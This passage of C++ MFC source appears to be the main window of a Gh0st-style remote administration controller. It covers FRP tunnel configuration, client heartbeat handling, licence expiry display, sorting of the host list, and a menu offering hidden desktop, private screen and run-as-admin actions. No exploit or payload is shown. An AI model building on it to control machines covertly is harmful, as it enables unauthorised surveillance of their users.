        baseNoExt = baseNoExt.substr(0, baseNoExt.size() - 4);
    }

    // 删除旧的配置文件 (frpc.ini 会被重新生成，frpc.1.ini ~ frpc.N.ini 需要清理)
    DeleteFileA(basePath.c_str());
    for (int i = 1; i < 100; ++i) {
        std::string oldPath = baseNoExt + "." + std::to_string(i) + ".ini";
        if (GetFileAttributesA(oldPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
            DeleteFileA(oldPath.c_str());
        } else {
            break;  // 文件不存在，后续也不会存在
        }
    }

    int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
    std::string token = THIS_CFG.GetStr("frp", "token");
    auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
    auto arr = StringToVector(ports, ';');
    int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);

    // 为每个服务端生成独立配置文件 (index=0 用 frpc.ini 保持兼容)
    for (size_t idx = 0; idx < servers.size(); ++idx) {
        std::string path = (idx == 0) ? basePath : baseNoExt + "." + std::to_string(idx) + ".ini";
        std::string logFile = (idx == 0) ? "./frpc.log" : "./frpc." + std::to_string(idx) + ".log";
        config cfg(path);
        cfg.SetStr("common", "server_addr", servers[idx]);
        cfg.SetInt("common", "server_port", serverPort);
        cfg.SetStr("common", "token", token);
        cfg.SetStr("common", "log_file", logFile);

        for (size_t i = 0; i < arr.size(); ++i) {
            auto tcp = BRAND_NET_PREFIX "-TCP-" + arr[i];
            cfg.SetStr(tcp, "type", "tcp");
            cfg.SetStr(tcp, "local_port", arr[i]);
            cfg.SetStr(tcp, "remote_port", arr[i]);
            cfg.SetStr(tcp, "proxy_protocol_version", "v2");  // 传递真实客户端 IP

            auto udp = BRAND_NET_PREFIX "-UDP-" + arr[i];
            cfg.SetStr(udp, "type", "udp");
            cfg.SetStr(udp, "local_port", arr[i]);
            cfg.SetStr(udp, "remote_port", arr[i]);
        }
        if (fileServerPort > 0) {
            std::string name = BRAND_NET_PREFIX "-WEB-" + std::to_string(fileServerPort);
            cfg.SetStr(name, "type", "tcp");
            cfg.SetInt(name, "local_port", fileServerPort);
            cfg.SetInt(name, "remote_port", fileServerPort);
            cfg.SetStr(name, "proxy_protocol_version", "v2");  // 传递真实客户端 IP
        }
    }
}

void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
    if ((nID & 0xFFF0) == IDM_ABOUTBOX) {
        CAboutDlg dlgAbout;
        dlgAbout.DoModal();
    } else {
        __super::OnSysCommand(nID, lParam);
    }
}

// 如果向对话框添加最小化按钮，则需要下面的代码
//  来绘制该图标。对于使用文档/视图模型的 MFC 应用程序，
//  这将由框架自动完成。

void CMy2015RemoteDlg::OnPaint()
{
    if (IsIconic()) {
        CPaintDC dc(this); // 用于绘制的设备上下文

        SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);

        // 使图标在工作区矩形中居中
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;

        // 绘制图标
        dc.DrawIcon(x, y, m_hIcon);
    } else {
        __super::OnPaint();
    }
}

//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CMy2015RemoteDlg::OnQueryDragIcon()
{
    return static_cast<HCURSOR>(m_hIcon);
}

void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
{
    __super::OnSize(nType, cx, cy);

    static UINT lastType = SIZE_RESTORED;
    if (SIZE_MINIMIZED==nType) {
        lastType = nType;
        return;
    }
    // 窗口大小类型变化时刷新列表（最小化还原、正常<->最大化切换）
    bool needRefresh = (lastType != nType);
    lastType = nType;

    EnterCriticalSection(&m_cs);
    if (m_CList_Online.m_hWnd!=NULL) { //（控件也是窗口因此也有句柄）
        CRect rc;
        rc.left = 1;          //列表的左坐标
        rc.top  = m_ToolBar.IsVisible() ? 80:1; //列表的上坐标
        rc.right  =  cx-1;    //列表的右坐标
        rc.bottom = cy-160;   //列表的下坐标
        m_GroupTab.MoveWindow(rc);

        CRect rcInside;
        m_GroupTab.GetClientRect(&rcInside);
        m_GroupTab.AdjustRect(FALSE, &rcInside);
        rcInside.bottom -= 1;
        m_CList_Online.MoveWindow(&rcInside);
        m_CList_Online.AdjustColumnWidths();
        if (needRefresh) {
            CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
            m_GroupTab.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
            m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
        }
    }
    LeaveCriticalSection(&m_cs);

    if (m_CList_Message.m_hWnd!=NULL) {
        CRect rc;
        rc.left = 1;         //列表的左坐标
        rc.top = cy-160;     //列表的上坐标
        rc.right  = cx-1;    //列表的右坐标
        rc.bottom = cy-20;   //列表的下坐标
        m_CList_Message.MoveWindow(rc);
        if (needRefresh) {
            m_CList_Message.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
        }
        auto total = cx - 24;
        for(int i=0; i<g_Column_Count_Message; ++i) {        //遍历每一个列
            double Temp=g_Column_Data_Message[i].nWidth;     //得到当前列的宽度
            Temp/=g_Column_Message_Width;                    //看一看当前宽度占总长度的几分之几
            Temp*=total;                                     //用原来的长度乘以所占的几分之几得到当前的宽度
            int lenth=Temp;                                  //转换为int 类型
            m_CList_Message.SetColumnWidth(i,(lenth));        //设置当前的宽度
        }
    }

    if(m_StatusBar.m_hWnd!=NULL) {   //当对话框大小改变时 状态条大小也随之改变
        CRect Rect;
        Rect.top=cy-20;
        Rect.left=0;
        Rect.right=cx;
        Rect.bottom=cy;
        m_StatusBar.MoveWindow(Rect);
        // 4个分区：消息(自动拉伸)、FRP地址(250px)、运行统计(180px)、到期时间(180px)
        int paneExpire = m_strExpireDate.IsEmpty() ? 0 : 180;  // 无到期信息时隐藏
        // 优先显示上级 FRPC，其次显示本机 FRPS
        int paneFrp = 250;
        int paneRuntime = 180;
        int paneMsg = max(0, cx - paneFrp - paneRuntime - paneExpire - 20);
        m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, paneMsg);
        m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, paneFrp);
        m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, paneRuntime);
        m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, paneExpire);
    }

    if(m_ToolBar.m_hWnd!=NULL) {                //工具条
        CRect rc;
        rc.top=rc.left=0;
        rc.right=cx;
        rc.bottom=80;
        m_ToolBar.MoveWindow(rc);             //设置工具条大小位置
    }
}

void CMy2015RemoteDlg::OnExitSizeMove()
{
    __super::OnExitSizeMove();

    // 拖拽调整大小结束后刷新列表，避免残影
    if (m_CList_Online.m_hWnd != NULL) {
        CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
        m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
    }
    if (m_CList_Message.m_hWnd != NULL) {
        m_CList_Message.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
    }
    // 更新搜索栏位置（跟随主窗口移动/调整大小）
    if (m_pSearchBar && m_pSearchBar->GetSafeHwnd() && m_pSearchBar->IsWindowVisible()) {
        m_pSearchBar->UpdatePosition();
    }
}

LRESULT CMy2015RemoteDlg::OnPasswordCheck(WPARAM wParam, LPARAM lParam)
{
    static bool isChecking = false;
    if (isChecking)
        return S_OK;

    isChecking = true;
    if (!CheckValid(-1)) {
        KillTimer(TIMER_CHECK);
        m_nMaxConnection = 2;
        THIS_APP->UpdateMaxConnection(m_nMaxConnection);
        int tm = THIS_CFG.GetInt("settings", "Notify", 10);
        THIS_CFG.SetInt("settings", "Notify", tm - 1);
    }
    isChecking = false;
    return S_OK;
}

void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{
    if (nIDEvent == TIMER_CHECK) {
        static int count = 0;
        static std::string eventName = EventName();
        HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName.c_str());
        if (hEvent) {
            SAFE_CLOSE_HANDLE(hEvent);
        } else if (++count == 10) {
            THIS_APP->UpdateMaxConnection(count);
        }
        if (!m_superPass.empty()) {
#ifndef _DEBUG
            Mprintf(">>> Timer is killed <<<\n");
            KillTimer(nIDEvent);
            std::string masterHash = GetMasterHash();
            if (GetUpperHash() != GetPwdHash())
                THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
            if (GetPwdHash() == masterHash)
                THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
            return;
#endif
        }
        PostMessageA(WM_PASSWORDCHECK);
    }
    if (nIDEvent == TIMER_CLOSEWND) {
        DeletePopupWindow();
    }
    if (nIDEvent == TIMER_CLEAR_BALLOON) {
        KillTimer(TIMER_CLEAR_BALLOON);

        // 清除气球通知
        NOTIFYICONDATA nid = m_Nid;
        nid.cbSize = sizeof(NOTIFYICONDATA);
        nid.uFlags = NIF_INFO;
        nid.szInfo[0] = '\0';
        nid.szInfoTitle[0] = '\0';
        Shell_NotifyIcon(NIM_MODIFY, &nid);
    }
    if (nIDEvent == TIMER_HEARTBEAT_CHECK && m_settings.ReportInterval > 0) {
        CheckHeartbeat();
    }
    if (nIDEvent == TIMER_REFRESH_LIST) {
        CLock L(m_cs);
        bool hasOffline = !m_PendingOffline.empty();
        bool hasListChange = !m_PendingOnline.empty() || hasOffline;

        // 有上下线事件时，禁用重绘以减少闪烁
        if (hasListChange) {
            m_CList_Online.SetRedraw(FALSE);
        }

        // 处理下线事件 - 虚拟列表不需要 DeleteItem，m_HostList 已在 OnUserOfflineMsg 中更新
        if (!m_PendingOffline.empty()) {
            m_PendingOffline.clear();
        }

        // 处理上线事件 - 虚拟列表只需更新计数
        if (!m_PendingOnline.empty()) {
            m_PendingOnline.clear();
        }

        // 虚拟列表：重建过滤索引并更新项目计数
        if (hasListChange) {
            RebuildFilteredIndices();
            m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
        }

        // 恢复重绘 - 虚拟列表只需刷新可见区域的变化行
        if (hasListChange) {
            m_CList_Online.SetRedraw(TRUE);
            int totalCount = (int)m_FilteredIndices.size();
            if (totalCount == 0) {
                // 列表变空时，强制重绘整个列表以清除残留项
                m_CList_Online.Invalidate();
            } else {
                // 只需刷新可见范围内的行
                int topIdx = m_CList_Online.GetTopIndex();
                int visibleCount = m_CList_Online.GetCountPerPage();
                int bottomIdx = min(topIdx + visibleCount, totalCount - 1);
                if (bottomIdx >= topIdx) {
                    m_CList_Online.RedrawItems(topIdx, bottomIdx);
                }
            }

            // 更新状态栏主机数量
            CString strStatusMsg;
            strStatusMsg.FormatL("有%d个主机在线", (int)m_FilteredIndices.size());
            strStatusMsg += CString("[Total: ") + std::to_string(m_HostList.size()).c_str() + "]";
            m_StatusBar.SetPaneText(0, strStatusMsg);
        }

        // 处理心跳更新 - 虚拟列表批量刷新（仅刷新变化行，无闪烁）
        if (!m_DirtyClients.empty()) {
            int minIdx = INT_MAX, maxIdx = -1;
            for (uint64_t id : m_DirtyClients) {
                auto it = m_ClientIndex.find(id);
                if (it != m_ClientIndex.end()) {
                    size_t hostIdx = it->second;
                    // 在过滤索引中查找显示位置
                    for (size_t fi = 0; fi < m_FilteredIndices.size(); ++fi) {
                        if (m_FilteredIndices[fi] == hostIdx) {
                            int idx = (int)fi;
                            if (idx < minIdx) minIdx = idx;
                            if (idx > maxIdx) maxIdx = idx;
                            break;
                        }
                    }
                }
            }
            // 一次性刷新整个范围
            if (maxIdx >= 0) {
                m_CList_Online.RedrawItems(minIdx, maxIdx);
            }
            m_DirtyClients.clear();
        }

        // 批量通知 Web 客户端设备变化（独立于 m_DirtyClients）
        if (WebService().IsRunning()) {
            WebService().FlushDeviceChanges();
        }
    }
    if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
        UpdateStatusBarStats();
    }
    if (nIDEvent == TIMER_STATUSBAR_INIT) {
        KillTimer(TIMER_STATUSBAR_INIT);  // 只执行一次
        // 强制重新计算状态栏分区宽度
        CRect rc;
        GetClientRect(&rc);
        OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
    }

    __super::OnTimer(nIDEvent);
}

void CMy2015RemoteDlg::CheckHeartbeat()
{
    CLock lock(m_cs);
    auto now = time(0);
    int HEARTBEAT_TIMEOUT = max(60, m_settings.ReportInterval * 3);

    // 收集需要删除的 context（避免遍历时修改 vector）
    std::vector<context*> toRemove;
    for (context* ContextObject : m_HostList) {
        if (now - ContextObject->GetLastHeartbeat() > HEARTBEAT_TIMEOUT) {
            toRemove.push_back(ContextObject);
        }
    }

    // 批量删除
    for (context* ContextObject : toRemove) {
        auto host = ContextObject->GetAdditionalData(RES_CLIENT_PUBIP);
        host = host.IsEmpty() ? std::to_string(ContextObject->GetClientID()).c_str() : host;
        Mprintf("Client %s[%llu] heartbeat timeout!!! \n", host, ContextObject->GetClientID());
        if (m_needNotify)
            PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_TR("主机掉线")),
                     (LPARAM)new CharMsg(_TR("主机长时间无心跳: ") + host));
        PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(_TR("[主机下线] 主机长时间无心跳: ") + host), NULL);
        Mprintf("主机 %s[%llu]心跳超时\n", host, ContextObject->GetClientID());

        int port = ContextObject->GetPort();
        RemoveFromHostList(ContextObject);

        // 从待上线队列中移除（防止定时器访问已释放的 context）
        auto pit = std::find(m_PendingOnline.begin(), m_PendingOnline.end(), ContextObject);
        if (pit != m_PendingOnline.end()) {
            m_PendingOnline.erase(pit);
        }
        ContextObject->CancelIO();
        // 使用延迟队列删除，由定时器统一处理刷新
        m_PendingOffline.push_back(port);
    }
}

// 更新状态栏统计信息（MTBF/运行时长、到期时间）
void CMy2015RemoteDlg::UpdateStatusBarStats()
{
    if (!m_StatusBar.GetSafeHwnd())
        return;

    CString strRuntime, strExpire;

    // === 分区1：运行统计 ===
    if (m_runNormal == 1) {
        // 普通模式：显示程序运行时长
        ULONGLONG uptime = GetTickCount64() - m_ullStartTime;
        ULONGLONG seconds = uptime / 1000;
        ULONGLONG minutes = seconds / 60;
        ULONGLONG hours = minutes / 60;
        ULONGLONG days = hours / 24;
        hours %= 24;
        minutes %= 60;

        CString strTime;
        if (days > 0)
            strTime.Format(_T("%llud %lluh"), days, hours);
        else if (hours > 0)
            strTime.Format(_T("%lluh %llum"), hours, minutes);
        else
            strTime.Format(_T("%llum"), minutes);
        strRuntime = _TR("运行:") + CString(_T(" ")) + strTime;
    } else {
        // 服务模式：显示 MTBF 统计
        int crashCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, 0);
        int startCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, 0);
        std::string totalStr = THIS_CFG.GetStr(CFG_CRASH_SECTION, CFG_CRASH_TOTAL_RUN_MS, "0");
        ULONGLONG totalRunMs = _strtoui64(totalStr.c_str(), NULL, 10);

        // 加上当前会话的运行时间
        totalRunMs += (GetTickCount64() - m_ullStartTime);

        if (crashCount > 0) {
            // 有崩溃记录：显示 MTBF 和失败率
            ULONGLONG mtbfMs = totalRunMs / crashCount;
            ULONGLONG mtbfHours = mtbfMs / (1000 * 60 * 60);
            ULONGLONG mtbfDays = mtbfHours / 24;
            mtbfHours %= 24;

            double failRate = (startCount > 0) ? (double)crashCount / startCount * 100.0 : 0;

            if (mtbfDays > 0)
                strRuntime.Format(_T("MTBF: %llud%lluh | %.1f%%"), mtbfDays, mtbfHours, failRate);
            else
                strRuntime.Format(_T("MTBF: %lluh | %.1f%%"), mtbfHours, failRate);
        } else {
            // 无崩溃记录：显示累计运行时间
            ULONGLONG hours = totalRunMs / (1000 * 60 * 60);
            ULONGLONG days = hours / 24;
            hours %= 24;

            CString strTime;
            if (days > 0)
                strTime.Format(_T("%llud%lluh"), days, hours);
            else
                strTime.Format(_T("%lluh"), hours);
            strRuntime = _TR("运行:") + CString(_T(" ")) + strTime + _T(" ") + _TR("(无崩溃)");
        }
    }
    // === 分区1：FRP 地址 ===
    // 优先显示上级配置的 FRPC，其次显示本机 FRPS
    CString strFrpDisplay = m_strFrpAddr;
    if (strFrpDisplay.IsEmpty()) {
        // 没有上级 FRP 配置，检查本机是否配置了 FRPS
        if (CFrpsForSubDlg::IsFrpsConfigured()) {
            FrpsConfig frpsCfg = CFrpsForSubDlg::GetFrpsConfig();
            if (frpsCfg.localFrps) {
                strFrpDisplay.Format(_T("FRPS %s:%d"), m_localPublicIP.empty() ? 
                    m_localPrivateIP.c_str() : m_localPublicIP.c_str(), frpsCfg.port);
            } else {
                strFrpDisplay.Format(_T("FRPS %hs:%d"), frpsCfg.server.c_str(), frpsCfg.port);
            }
        }
        else if (m_settings.UsingFRPProxy) {
            strFrpDisplay.Format(_T("%s:%d"), THIS_CFG.GetStr("settings", "master").c_str(), 
                THIS_CFG.Get1Int("settings", "ghost", 6543));
        }
        else if (!m_localPublicIP.empty()) {
            strFrpDisplay.Format(_T("WAN %s:%d"), m_localPublicIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543));
        }
        else {
            strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543));
        }
    }
    // 根据是否有内容设置分区宽度
    int paneFrpWidth =  250;
    m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, paneFrpWidth);
    m_StatusBar.SetPaneText(1, strFrpDisplay);

    m_StatusBar.SetPaneText(2, strRuntime);

    // === 分区3：到期时间 ===
    // 定期刷新到期时间（每 5 分钟从配置重新读取，以便反映上级延展）
    static ULONGLONG lastExpireRefresh = 0;
    ULONGLONG now = GetTickCount64();
    if (now - lastExpireRefresh > 5 * 60 * 1000) {  // 5 分钟
        lastExpireRefresh = now;
        std::string pwd = THIS_CFG.GetStr("settings", "Password", "");
        if (!pwd.empty()) {
            std::string expireDate = ParseExpireDateFromPasscode(pwd);
            m_strExpireDate = expireDate.c_str();
        }
    }

    if (!m_strExpireDate.IsEmpty()) {
        // 解析到期日期 (YYYYMMDD)
        int year = _ttoi(m_strExpireDate.Left(4));
        int month = _ttoi(m_strExpireDate.Mid(4, 2));
        int day = _ttoi(m_strExpireDate.Mid(6, 2));

        // 计算剩余天数（包含今天）
        SYSTEMTIME stExpire = {0}, stNow = {0};
        stExpire.wYear = (WORD)year;
        stExpire.wMonth = (WORD)month;
        stExpire.wDay = (WORD)day;
        GetLocalTime(&stNow);
        // 归一化到当天 00:00:00，只比较日期部分
        stNow.wHour = stNow.wMinute = stNow.wSecond = stNow.wMilliseconds = 0;

        FILETIME ftExpire, ftNow;
        SystemTimeToFileTime(&stExpire, &ftExpire);
        SystemTimeToFileTime(&stNow, &ftNow);

        ULARGE_INTEGER uliExpire, uliNow;
        uliExpire.LowPart = ftExpire.dwLowDateTime;
        uliExpire.HighPart = ftExpire.dwHighDateTime;
        uliNow.LowPart = ftNow.dwLowDateTime;
        uliNow.HighPart = ftNow.dwHighDateTime;

        // FILETIME 单位是 100ns，转换为天数，+1 包含到期当天
        LONGLONG diffDays = (LONGLONG)(uliExpire.QuadPart - uliNow.QuadPart) / (10000000LL * 60 * 60 * 24) + 1;

        if (diffDays <= 0) {
            strExpire = _TR("已过期");
        } else {
            CString strDate, strDays;
            strDate.Format(_T("%04d-%02d-%02d"), year, month, day);
            strDays.Format(_T("(%lld"), diffDays);
            strExpire = _TR("到期:") + CString(_T(" ")) + strDate + _T(" ") + strDays + _TR("天") + _T(")");
        }
        m_StatusBar.SetPaneText(3, strExpire);
    }
}

void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
{
    if (!m_pFloatingTip)
        return;

    if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) {
        CPoint pt;
        GetCursorPos(&pt);
        CRect rc;
        m_pFloatingTip->GetWindowRect(&rc);

        if (rc.PtInRect(pt))
            return;  // 鼠标还在窗口上，继续等待
    }

    if (::IsWindow(m_pFloatingTip->GetSafeHwnd()))
        m_pFloatingTip->DestroyWindow();

    SAFE_DELETE(m_pFloatingTip);
    KillTimer(TIMER_CLOSEWND);
}


void CMy2015RemoteDlg::OnClose()
{
    // 隐藏窗口而不是关闭
    ShowWindow(SW_HIDE);
	if (m_pSearchBar && m_pSearchBar->GetSafeHwnd()) {
        m_pSearchBar->ShowWindow(SW_HIDE);
    }
    Mprintf("======> Hide\n");
}

void CMy2015RemoteDlg::Release()
{
    Mprintf("======> Release\n");

    // 设置全局退出标志，通知所有分离线程停止
    g_bAppExiting = true;

    // Stop Web Remote Control service
    if (WebService().IsRunning()) {
        Mprintf("Stopping WebService...\n");
        WebService().Stop();
    }

    UninitFileUpload();
    DeletePopupWindow(TRUE);
    isClosed = TRUE;
    ShowWindow(SW_HIDE);

    Shell_NotifyIcon(NIM_DELETE, &m_Nid);

    BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
    EnterCriticalSection(&m_cs);
    for (auto i=m_HostList.begin(); i!=m_HostList.end(); ++i) {
        context* ContextObject = *i;
        ContextObject->Send2Client(&bToken, sizeof(BYTE));
        ContextObject->Destroy();
    }
    LeaveCriticalSection(&m_cs);
    m_ClientMap->SaveToFile(GetDbPath());
    if (m_pClientListDlg != nullptr && ::IsWindow(m_pClientListDlg->GetSafeHwnd())) {
        // 关键：调用 DestroyWindow，它会触发窗口的关闭和销毁流程
        m_pClientListDlg->DestroyWindow();

        // 注意：如果你在对话框的 PostNcDestroy 里写了 delete this;
        // 那么此时不要再 delete m_pClientListDlg，只需将指针置 NULL 即可
        m_pClientListDlg = nullptr;
    }
    if (m_pLicenseDlg != nullptr) {
        if (::IsWindow(m_pLicenseDlg->GetSafeHwnd())) {
            m_pLicenseDlg->DestroyWindow();
        }
        delete m_pLicenseDlg;
        m_pLicenseDlg = nullptr;
    }
    Sleep(500);
    StopAllFrpClients();
#ifdef _WIN64
    StopLocalFrpsServer();  // 停止本地 FRPS 服务器
#endif
    StopFrpcAuto();  // 停止 FRP 自动代理

    THIS_APP->Destroy();
    SAFE_DELETE(m_gridDlg);
    g_2015RemoteDlg = NULL;
    SetEvent(m_hExit);
    SAFE_CLOSE_HANDLE(m_hExit);
    m_hExit = NULL;
    Sleep(500);
    SAFE_DELETE(m_IPConverter);

    timeEndPeriod(1);
}

int CALLBACK CMy2015RemoteDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
    auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
    int nColumn = pSortInfo->first;
    bool bAscending = pSortInfo->second;

    // 获取列值
    CONTEXT_OBJECT* context1 = (CONTEXT_OBJECT*)lParam1;
    CONTEXT_OBJECT* context2 = (CONTEXT_OBJECT*)lParam2;
    CString s1 = context1->GetClientData(nColumn);
    CString s2 = context2->GetClientData(nColumn);

    int result = s1 > s2 ? 1 : -1;
    return bAscending ? result : -result;
}

void CMy2015RemoteDlg::SortByColumn(int nColumn)
{
    static int m_nSortColumn = 0;
    static bool m_bSortAscending = false;
    if (nColumn == m_nSortColumn) {
        // 如果点击的是同一列，切换排序顺序
        m_bSortAscending = !m_bSortAscending;
    } else {
        // 否则，切换到新列并设置为升序
        m_nSortColumn = nColumn;
        m_bSortAscending = true;
    }

    // 虚拟列表：对数据源进行排序
    EnterCriticalSection(&m_cs);
    int col = m_nSortColumn;
    bool asc = m_bSortAscending;
    std::sort(m_HostList.begin(), m_HostList.end(),
        [col, asc](context* a, context* b) {
            CString s1 = a ? a->GetClientData(col) : "";
            CString s2 = b ? b->GetClientData(col) : "";
            int result = s1.Compare(s2);
            return asc ? (result < 0) : (result > 0);
        });

    // 重建索引映射
    m_ClientIndex.clear();
    for (size_t i = 0; i < m_HostList.size(); ++i) {
        if (m_HostList[i]) {
            m_ClientIndex[m_HostList[i]->GetClientID()] = i;
        }
    }
    // 重建过滤索引
    RebuildFilteredIndices();
    LeaveCriticalSection(&m_cs);

    // 刷新列表
    m_CList_Online.Invalidate();
}

void CMy2015RemoteDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
    LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
    int nColumn = pNMHeader->iItem; // 获取点击的列索引
    SortByColumn(nColumn);          // 调用排序函数
    *pResult = 0;
}

// 虚拟列表数据回调 - 当列表需要显示某行某列的数据时调用
void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
{
    NMLVDISPINFO* pDispInfo = reinterpret_cast<NMLVDISPINFO*>(pNMHDR);
    LVITEM* pItem = &pDispInfo->item;
    int iItem = pItem->iItem;

    // 加锁保护 m_FilteredIndices 和 m_HostList 访问
    CLock lock(m_cs);

    // 边界检查（使用过滤后的索引）
    if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
        *pResult = 0;
        return;
    }

    // 通过过滤索引获取实际的 context
    size_t realIdx = m_FilteredIndices[iItem];
    if (realIdx >= m_HostList.size()) {
        *pResult = 0;
        return;
    }

    context* ctx = m_HostList[realIdx];
    if (!ctx) {
        *pResult = 0;
        return;
    }

    // 提供文本数据
    if (pItem->mask & LVIF_TEXT) {
        CString text;
        int nCol = pItem->iSubItem;

        // 备注列特殊处理
        if (nCol == ONLINELIST_COMPUTER_NAME) {
            CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
            text = !note.IsEmpty() ? note : ctx->GetClientData(nCol);
        } else {
            text = ctx->GetClientData(nCol);
            if (text.IsEmpty()) text = "?";
        }

        lstrcpyn(pItem->pszText, text, pItem->cchTextMax);
    }

    *pResult = 0;
}

void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
{
    LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);

    //弹出菜单

    CMenu	Menu;
    Menu.LoadMenu(IDR_MENU_LIST_ONLINE);               //加载菜单资源   资源和类对象关联
    TranslateMenu(&Menu);
    CMenu* SubMenu = Menu.GetSubMenu(0);

    CPoint	Point;
    GetCursorPos(&Point);

    Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
    Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND, &m_bmOnline[6], &m_bmOnline[6]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND, &m_bmOnline[7], &m_bmOnline[7]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_LOGIN_NOTIFY, MF_BYCOMMAND, &m_bmOnline[20], &m_bmOnline[20]);
    // Disable login notify menu if PowerShell is not available
    if (!GetNotifyManager().IsPowerShellAvailable()) {
        Menu.EnableMenuItem(ID_ONLINE_LOGIN_NOTIFY, MF_BYCOMMAND | MF_GRAYED);
    }
    Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
    Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
